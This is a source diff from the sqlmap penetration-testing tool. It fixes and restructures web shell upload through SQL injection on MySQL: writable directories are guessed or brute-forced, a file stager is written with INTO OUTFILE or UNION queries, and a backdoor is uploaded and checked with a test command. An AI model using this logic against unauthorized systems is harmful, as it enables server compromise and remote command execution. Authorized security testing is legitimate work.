fixed and improved web shell upload in MySQL (it was actually broken since fc57b7565d)

This commit is contained in:
Bernardo Damele 2014-01-13 17:12:37 +00:00
parent 6863436d4e
commit dfa9076a70
2 changed files with 157 additions and 149 deletions

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
@ -610,15 +610,15 @@ def paramToDict(place, parameters=None):
return testableParameters return testableParameters
def getDocRoot(): def getManualDirectories():
docRoot = None directories = None
pagePath = directoryPath(conf.path) pagePath = directoryPath(conf.path)
defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]) defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
if kb.absFilePaths: if kb.absFilePaths:
for absFilePath in kb.absFilePaths: for absFilePath in kb.absFilePaths:
if docRoot: if directories:
break break
if directoryPath(absFilePath) == '/': if directoryPath(absFilePath) == '/':
@ -636,41 +636,41 @@ def getDocRoot():
_ = "/%s/" % _ _ = "/%s/" % _
if _ in absFilePath: if _ in absFilePath:
docRoot = "%s%s" % (absFilePath.split(_)[0], _) directories = "%s%s" % (absFilePath.split(_)[0], _)
break break
if pagePath and pagePath in absFilePath: if pagePath and pagePath in absFilePath:
docRoot = absFilePath.split(pagePath)[0] directories = absFilePath.split(pagePath)[0]
if windowsDriveLetter: if windowsDriveLetter:
docRoot = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(docRoot)) directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
docRoot = normalizePath(docRoot) directories = normalizePath(directories)
if docRoot: if directories:
infoMsg = "retrieved the web server document root: '%s'" % docRoot infoMsg = "retrieved the web server document root: '%s'" % directories
logger.info(infoMsg) logger.info(infoMsg)
else: else:
warnMsg = "unable to retrieve automatically the web server " warnMsg = "unable to retrieve automatically the web server "
warnMsg += "document root" warnMsg += "document root"
logger.warn(warnMsg) logger.warn(warnMsg)
docRoot = [] directories = []
message = "what do you want to use for web server document root?\n" message = "what do you want to use for writable directory?\n"
message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot) message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot)
message += "[2] custom location\n" message += "[2] custom location(s)\n"
message += "[3] custom directory list file\n" message += "[3] custom directory list file\n"
message += "[4] brute force search\n" message += "[4] brute force search\n"
choice = readInput(message, default="1").strip() choice = readInput(message, default="1").strip()
if choice == "2": if choice == "2":
message = "please provide the web server document root: " message = "please provide a comma separate list of absolute directory paths: "
docRoot = readInput(message, default="").split(',') directories = readInput(message, default="").split(',')
elif choice == "3": elif choice == "3":
message = "what's the list file location?\n" message = "what's the list file location?\n"
listPath = readInput(message, default="") listPath = readInput(message, default="")
checkFile(listPath) checkFile(listPath)
docRoot = getFileItems(listPath) directories = getFileItems(listPath)
elif choice == "4": elif choice == "4":
targets = set([conf.hostname]) targets = set([conf.hostname])
_ = conf.hostname.split('.') _ = conf.hostname.split('.')
@ -691,31 +691,30 @@ def getDocRoot():
for target in targets: for target in targets:
item = "%s/%s" % (prefix, suffix) item = "%s/%s" % (prefix, suffix)
item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/') item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
docRoot.append(item) directories.append(item)
if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
break break
infoMsg = "using common document root locations: %s" % ','.join(docRoot) infoMsg = "using common directories: %s" % ','.join(directories)
logger.info(infoMsg) logger.info(infoMsg)
msg = "use additional custom " msg = "use additional custom directories [Enter for None]: "
msg += "document root locations [Enter for None]: "
answer = readInput(msg) answer = readInput(msg)
if answer: if answer:
docRoot.extend(answer.split(',')) directories.extend(answer.split(','))
else: else:
docRoot = defaultDocRoot directories = defaultDocRoot
return docRoot return directories
def getDirs(): def getAutoDirectories():
directories = set("/") directories = set("/")
if kb.absFilePaths: if kb.absFilePaths:
infoMsg = "retrieved web server full paths: " infoMsg = "retrieved web server absolute paths: "
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths) infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
logger.info(infoMsg) logger.info(infoMsg)
@ -728,7 +727,8 @@ def getDirs():
warnMsg = "unable to retrieve automatically any web server path" warnMsg = "unable to retrieve automatically any web server path"
logger.warn(warnMsg) logger.warn(warnMsg)
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/", conf.url) webDir = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url)
if webDir: if webDir:
directories.add(webDir) directories.add(webDir)

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
@ -17,8 +17,8 @@ from lib.core.agent import agent
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import getDirs from lib.core.common import getAutoDirectories
from lib.core.common import getDocRoot from lib.core.common import getManualDirectories
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet from lib.core.common import getSQLSnippet
from lib.core.common import getUnicode from lib.core.common import getUnicode
@ -194,8 +194,9 @@ class Web:
self.webApi = choices[int(choice) - 1] self.webApi = choices[int(choice) - 1]
break break
kb.docRoot = arrayizeValue(getDocRoot()) directories = list(arrayizeValue(getManualDirectories()))
directories = sorted(getDirs()) directories.extend(getAutoDirectories())
directories = sorted(set(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
@ -204,155 +205,162 @@ class Web:
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False success = False
for docRoot in kb.docRoot: for directory in directories:
if success: if success:
break break
for directory in directories: uploaded = False
uriPath = "" directory = ntToPosixSlashes(normalizePath(directory))
if not all(isinstance(_, basestring) for _ in (docRoot, directory)): if not isWindowsDriveLetterPath(directory) and directory[0] != '/':
continue directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') directory = posixpath.normpath(directory)
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot' # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
if not directory: infoMsg = "trying to upload the file stager on '%s' " % directory
localPath = docRoot infoMsg += "via LIMIT INTO OUTFILE technique"
uriPath = '/' logger.info(infoMsg)
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' self._webFileInject(stagerContent, stagerName, directory)
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
if docRoot in uriPath: for x in list(re.finditer('/', directory)):
uriPath = uriPath.replace(docRoot, "/") self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
uriPath = "/%s" % normalizePath(uriPath) self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
else: self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir: debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
uriPath = "/%s" % webDir logger.debug(debugMsg)
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg += "via LIMIT INTO OUTFILE technique"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or "" uplPage = uplPage or ""
# Fall-back to UNION queries file upload technique if "sqlmap file uploader" in uplPage:
if "sqlmap file uploader" not in uplPage: uploaded = True
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): # Fall-back to UNION queries file upload technique
infoMsg = "trying to upload the file stager on '%s' " % localPath if not uploaded:
infoMsg += "via UNION technique" warnMsg = "unable to upload the file stager "
logger.info(infoMsg) warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
handle, filename = mkstemp() if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
os.fdopen(handle).close() # close low level handle (causing problems later) infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION technique"
logger.info(infoMsg)
with open(filename, "w+") as f: handle, filename = mkstemp()
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) os.fdopen(handle).close() # close low level handle (causing problems later)
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
for x in list(re.finditer('/', directory)):
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, stagerName))).replace("//", "/").rstrip('/')
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or "" uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage: if "sqlmap file uploader" in uplPage:
continue uploaded = True
else: else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue continue
elif self.webApi == WEB_API.ASPX: if not uploaded:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
infoMsg = "the file stager has been successfully uploaded " debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl) logger.debug(debugMsg)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP: uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) uplPage = uplPage or ""
if match: if "sqlmap file uploader" not in uplPage:
backdoorDirectory = match.group(1) continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, directory)
else: else:
continue continue
_ = "tmpe%s.exe" % randomStr(lowercase=True) self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): self.webDirectory = directory
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else: self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, backdoorName))).replace("//", "/").rstrip('/')
if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used " testStr = "command execution test"
message += "for the file stager? [Y/n] " output = self.webBackdoorRunCmd("echo %s" % testStr)
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"): if output and testStr in output:
self._webFileInject(backdoorContent, backdoorName, localPath) infoMsg = "the backdoor has been successfully "
else: else:
continue infoMsg = "the backdoor has probably been successfully "
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) infoMsg += "uploaded on '%s' - " % self.webDirectory
self.webDirectory = localPath infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/') success = True
testStr = "command execution test" break
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break